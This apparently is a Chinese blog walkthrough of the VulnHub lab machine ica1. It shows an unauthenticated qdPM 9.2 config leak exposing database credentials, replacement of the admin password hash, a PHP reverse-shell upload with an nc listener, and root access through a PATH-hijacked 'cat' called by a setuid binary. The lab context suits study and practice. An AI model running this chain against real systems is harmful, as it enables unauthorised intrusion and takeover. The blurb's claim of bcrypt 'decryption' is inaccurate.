vulnhub——ica1.ova

文章讲述了在VulnerableByDesign的渗透靶机上,通过发现并利用qdPM9.2的未授权访问漏洞,获取数据库凭证,使用Bcrypt加密的知识来解密密码,最终实现ReverseShell并提权的过程。
摘要由CSDN通过智能技术生成

题目来源:Vulnerable By Design ~ VulnHub

题目:ica1.ova

题目类型:渗透靶机

解题过程:

一、信息收集

靶机(linux):
攻击机(kalli):192.168.3.25
辅助机(win):192.168.3.18

  • 发现主机

  • 在这里插入图片描述

  • 访问http试试看
    在这里插入图片描述
    有登陆界面试试sql注入
    貌似不行。
    跑一跑目录试试
    在这里插入图片描述
    没有什么东西。
    看得到下面的qdpm9.2,搜索是否有漏洞
    在这里插入图片描述

二、利用漏洞

cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download. 

按照说明获取yml文件

wget http://192.168.3.12/core/config/databases.yml

在这里插入图片描述

┌──(root㉿kali)-[/usr/share]
└─#cat databases.yml 
  
all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: qdpmadmin
      password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
      attributes:
        quote_identifier: true 

获得mysql数据库信息

<mark>dbname:</mark>`qdpm`

<mark>username:</mark>`qdpmadmin`

<mark>password:</mark>`UcVQCMQk2STVeS6J`
  • 连接数据库
    在这里插入图片描述
  • 查询数据库中有用得信息
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

重要的信息就都在这里了
可以看出管理员邮箱和密码
登录一下,密码错误,应该用加密的密码登录不了
查阅资料:

谈谈常见的加密和哈希值表示法:

- "$P$" 通常表示经过 PHPass 工具加密的密码哈希值。

- "{MD5}" 表示该字符串是 MD5 哈希值。

- "{SHA1}" 表示该字符串是 SHA-1 哈希值。 

- "{SSHA}" 表示该字符串是 Salted SHA-1 哈希值。

- "$2a$" 表示该字符串是经过 Bcrypt 工具加密的密码哈希值。

- "$2y$" 也表示经过 Bcrypt 加密的密码哈希。

- "$5$" 表示经过 SHA-256 加密的密码哈希。

- "$6$" 表示经过 SHA-512 加密的密码哈希。

不同的前缀标识可以帮助快速识别字符串的加密方式,但不会透露真正的原文密码。

加密脚本:

from passlib.hash import phpass

# 加密
password = "ABCDEF"
hashed_password = phpass.hash(password)
print(hashed_password)

# 验证
if phpass.verify(password, hashed_password):
    print("Password matched")
else:
    print("Password did not match")

加密后得到值: P P PHZmfsh9BfQFM1jv92LYAU/L2p6/0Sh1
在这里插入图片描述
替换原来的值,现在密码就是ABCDEF了
登录
在这里插入图片描述
添加一个自己的信息,有管理员权限
在这里插入图片描述

  • 上传 Reverse Shell
    登录自己创建的账号
    新建项目,上传Reverse Shell
    在这里插入图片描述
    在这里插入图片描述

  • 寻找上传的文件位置。对网站目录进行枚举,发现http://192.168.3.25/uploads/attachments/目录,上传的附件就保存在此处。

  • 在本地终端监听端口。

    nc -lvnp 8848
    

    在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

  • 点击文件php-reverse-shell.php,本机监听处收到请求,成功建立反弹shell
    在这里插入图片描述升级一下shell
python -c 'import pty; pty.spawn("/bin/bash")' 

三、提权

搜索可执行文件,发现文件get_access
在这里插入图片描述
执行一下这个命令
在这里插入图片描述

  • 尝试读取该文件的字符内容,发现setuid字样,及cat读取root路径下文件的语句。猜测该程序先设置了UID,之后调用cat读取文件。可以考虑通过替换cat提权。
    在这里插入图片描述
  • 更改环境变量
cd /tmp
echo '/bin/bash' > cat
chmod +x cat
export PATH=/tmp:$PATH

在这里插入图片描述

四、获得Flag

在这里插入图片描述
在这里插入图片描述

这里是引用

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Luther@ping

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值